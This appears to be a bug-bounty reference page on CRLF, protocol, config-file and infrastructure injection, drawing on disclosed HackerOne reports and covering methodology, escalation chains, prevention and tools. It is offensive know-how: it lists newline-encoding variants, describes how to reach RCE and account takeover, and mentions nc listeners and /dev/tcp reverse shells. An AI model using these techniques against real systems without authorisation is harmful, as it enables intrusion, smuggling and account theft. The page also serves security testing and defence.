Protocol, Config & Infra Injection (long tail)

§Basic information

This is the catch-all bucket for bugs that cross a protocol or serialization boundary rather than a single web-vuln taxonomy: a byte you control (usually \r/\n, sometimes a whitespace or Unicode look-alike) is written verbatim into a structured stream — an HTTP header block, an INI/YAML config file, a live SMTP or LDAP session, a proxy's request framing — and reframes that stream into something the parser on the other side treats as new commands, new headers, or a new request. The same class covers the infrastructure long tail: DNS/subdomain takeover, unthrottled brute-force of sensitive gates, and TLS/cert-validation logic that returns success while skipping the check.

The recurring, transferable primitive is "a sink that trusts a data type, or a field its sibling fields don't." A sanitizer written for a String stops running when a framework upgrade starts passing an Array (#2279572); one config field skips the newline check every other field enforces (#1054282, #1200647); one code path narrows a Unicode code point to a raw CR byte after the ASCII filter already ran (#409943). These are low-severity-looking primitives that chain to the highest-impact outcomes in the corpus — a single \r\n in a Grafana SMTP password field became RCE (#1200647).

§Methodology

1. Identify the boundary your input crosses. Not "is this reflected" but into what stream — an HTTP response header, a config-file line, an SMTP/LDAP command, a proxy's request framing, a DNS delegation.
2. Fire an inert canary for that boundary (CRLF, an OWS-before-colon, a quoted-comment email, an X-Forwarded-Host) and grep the raw response/logs/error banner for a new line, header, or reflected backend banner.
3. Enumerate the newline variants separately — %0d%0a, lone %0d, lone %0a, folded %0d%0a%09 — because different hops enforce different rules and they are not interchangeable.
4. Hunt the type/sibling gap. Whenever a value type-dispatches (case value when Array … when /\n/ …) or one field's validation differs from its siblings, that branch is the hole.
5. Escalate to the boundary's native impact — response splitting → XSS, config-section injection → RCE, SMTP/RESP smuggling → send-as/webshell, cache poisoning → mass/stored.
6. For infra (DNS, brute gates, TLS), the "canary" is enumeration: dig NS, an Intruder run against a re-auth endpoint, a --curves error path.

§Injection contexts

Find which boundary your input reaches, then use the matching breakout.

CRLF into an HTTP response header

Any parameter, path segment, or header value reflected into Location/Set-Cookie/a canonical link. Inject \r\n to add headers; \r\n\r\n to break into the body and plant XSS.

CRLF into a config-file serializer

A setting whose value lands in an INI/YAML/env file. A newline lets you start a new section and set non-exported keys the UI never exposes — the highest-value variant.

CRLF into an internal protocol connector (gopher-style)

A config field or URL that reaches an internal service connector lets you frame the target protocol (RESP/SMTP/postgres) with URL-encoded CRLF and speak it to localhost.

Newline into a live SMTP session

An attacker-supplied email address placed into an already-authenticated RCPT TO:<…> without stripping \r\n. Wrap the payload so it passes the app's email regex yet still emits a newline to the server.

Whitespace-before-colon proxy desync

Don't only vary TE/CL values — vary the optional whitespace (OWS) around the colon, an octet class RFC 7230 forbids but hops disagree on. A front proxy (Squid) and the downstream actor split the header block differently → smuggling.

Unicode narrowing to CRLF

When ASCII CR/LF is filtered, high code points whose low byte is 0x0d/0x0a reconstitute when the string is narrowed to bytes at the socket. Same trick works on any layer doing lossy Unicode→byte conversion.

DNS / subdomain takeover

Enumerate NS/CNAME per subdomain and look for a delegation with no live backing zone. NS-level takeover is broader than CNAME — you own every record in the zone.

Unthrottled sensitive gates

Re-auth prompts and OTP flows that lack the rate limiting the main login has. Test verify and resend as a pair — throttling verify is meaningless if resend refreshes the code and resets the attempt budget.

§Bypasses

Each tagged with the report it came from.

§Escalation & impact

Almost every headliner here is a stepping stone, not the destination:

• CRLF → response splitting → XSS → ATO. #2279572, #858650; behind a cache it becomes stored XSS for all visitors (#192749, #977851). See the 4 page for the impact payloads.
• CRLF → config-section injection → RCE. #1200647 (Grafana rendering_args), #1054282 (LDAP → Redis module load). Fires against non-HTTP serializers — INI/YAML/env, not just headers.
• Whitespace desync → cache poisoning / request smuggling. #758445 (Squid OWS-before-colon), #1664019 (undici client-side header CRLF → smuggled 2nd request).
• DNS takeover → email → SSO. NS-level takeover controls the whole zone → stand up MX → receive mail → pass SSL domain-validation and email-gated SSO (#746000); unclaimed Heroku app (#424669).
• Recon → exposed panel → brute → admin. Cert CN/SAN pivot to a Django DRF login with no lockout and admin:research (#128114); session hijack → brute the unthrottled "confirm password" gate → ATO (#970157).
• Authz bypass → by-design JS injection → stored XSS. A broken accept-invite grants project admin on a docs SaaS whose admins may inject JS (#152067).
• Broken TLS validation → MITM. A success-returning error path skips cert verification entirely (#2410774 curl+wolfSSL, #3797526 host-key pin dropped).

§Prevention

• Strip/reject CR and LF at every sink, for every data type — headers, Location, cookies, and config values alike. #2279572 proves a type change (String→Array) re-opens a fixed bug; test the type-dispatch branches, not just one input.
• Validate all sibling fields identically. #1200647/#1054282 were single fields the devs forgot; a per-field allowlist is exactly where the gap hides.
• Rate-limit verify AND resend together, and treat re-auth gates ("confirm password", OTP, payout) the same way the main login is throttled (#205000, #970157).
• Key the cache on any header used to build absolute URLs (X-Forwarded-Host/Host) — #977851.
• Remove dangling DNS (NS/CNAME) before deleting the backing zone/app — #746000, #424669.
• Audit C error handling where one result var is reused: never leave an early success value reachable by a later bare goto cleanup that skips a security-critical step (#2410774).
• Normalize/reject Unicode confusables on identity and uniqueness checks (#3434156), and validate the byte form of URLs/paths after any Unicode narrowing (#409943).

§Tools

• Burp Suite — Repeater for CRLF/header fuzzing, Intruder for the unthrottled brute gates, HTTP Request Smuggler + Turbo Intruder for #758445-style desync, Param Miner for unkeyed-header cache poisoning.
• curl --http1.1 -i — raw header inspection and response-splitting confirmation.
• dig / amass / subjack / nuclei — dangling NS/CNAME takeover enumeration; aws route53 to claim.
• nc listener + /dev/tcp reverse shells for CRLF→RCE; RESP/gopher framing for protocol smuggling.
• hashcat / hashid — cracking recovered creds from brute/recon chains.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 218 in this class.

§References & practice

1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
2. All 218 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.